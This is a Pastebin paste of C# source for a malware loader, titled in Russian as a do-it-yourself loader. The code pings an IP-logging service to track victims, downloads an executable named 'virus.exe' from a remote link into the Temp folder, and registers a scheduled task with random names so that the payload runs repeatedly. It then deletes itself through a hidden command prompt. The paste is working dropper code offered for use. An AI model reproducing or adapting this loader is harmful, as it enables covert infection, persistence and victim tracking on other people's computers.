fraddyrad

Свой лоадер на C#

Oct 15th, 2024
107
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 2.48 KB | Fixit | 0 0
  1. using System;
  2. using System.Diagnostics;
  3. using System.IO;
  4. using System.Net;
  5. using System.Reflection;
  6. using System.Threading;
  7.  
  8. namespace Loader
  9. {
  10.     class Program
  11.     {
  12.         static void Main(string[] args)
  13.         {
  14.             logger("https://iplogger.org/");
  15.             load("link.com/virus.exe", "@deepside.exe");
  16.             running(Environment.GetEnvironmentVariable("Temp") + "\\@deepside.exe");
  17.             DeleteMe("3");
  18.         }
  19.  
  20.  
  21.         public static void logger(string url)
  22.         {
  23.             WebRequest request = WebRequest.Create(url);
  24.             request.Credentials = CredentialCache.DefaultCredentials;
  25.             ((HttpWebRequest)request).UserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0";
  26.             request.GetResponse();
  27.         }
  28.  
  29.         public static void load(string link, string filename)
  30.         {
  31.             filename = Environment.GetEnvironmentVariable("Temp") + "\\" + filename;
  32.             using (var user = new WebClient())
  33.             {
  34.                 user.DownloadFile(link, filename);
  35.             }
  36.         }
  37.  
  38.         public static void DeleteMe(string delay)
  39.         {
  40.             Process.Start(new ProcessStartInfo
  41.             {
  42.                 Arguments = "/C choice /C Y /N /D Y /T " + delay + " & Del \"" + new FileInfo(new Uri(Assembly.GetExecutingAssembly().CodeBase).LocalPath).Name + "\"",
  43.                 WindowStyle = ProcessWindowStyle.Hidden,
  44.                 CreateNoWindow = true,
  45.                 FileName = "cmd.exe"
  46.             });
  47.         }
  48.  
  49.         public static void running(string pth)
  50.         {
  51.             var process = new Process();
  52.             process.StartInfo = new ProcessStartInfo("cmd", "/C " + "schtasks /create /tn \\" + generateString() + "\\" + generateString() + " /tr " + pth + " /st 00:00 /du 9999:59 /sc once /ri 1 /f");
  53.             process.StartInfo.RedirectStandardOutput = true;
  54.             process.StartInfo.UseShellExecute = false;
  55.             process.StartInfo.CreateNoWindow = true;
  56.             process.Start();
  57.         }
  58.  
  59.         public static String generateString()
  60.         {
  61.             string symbols = "QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm";
  62.             string result = "";
  63.             Random rnd = new Random();
  64.             int iter = rnd.Next(0, symbols.Length);
  65.             for (int i = 0; i < iter; i++)
  66.                 result += symbols[rnd.Next(0, symbols.Length)];
  67.  
  68.             return result;
  69.         }
  70.  
  71.     }
  72. }
Add Comment
Please, Sign In to add comment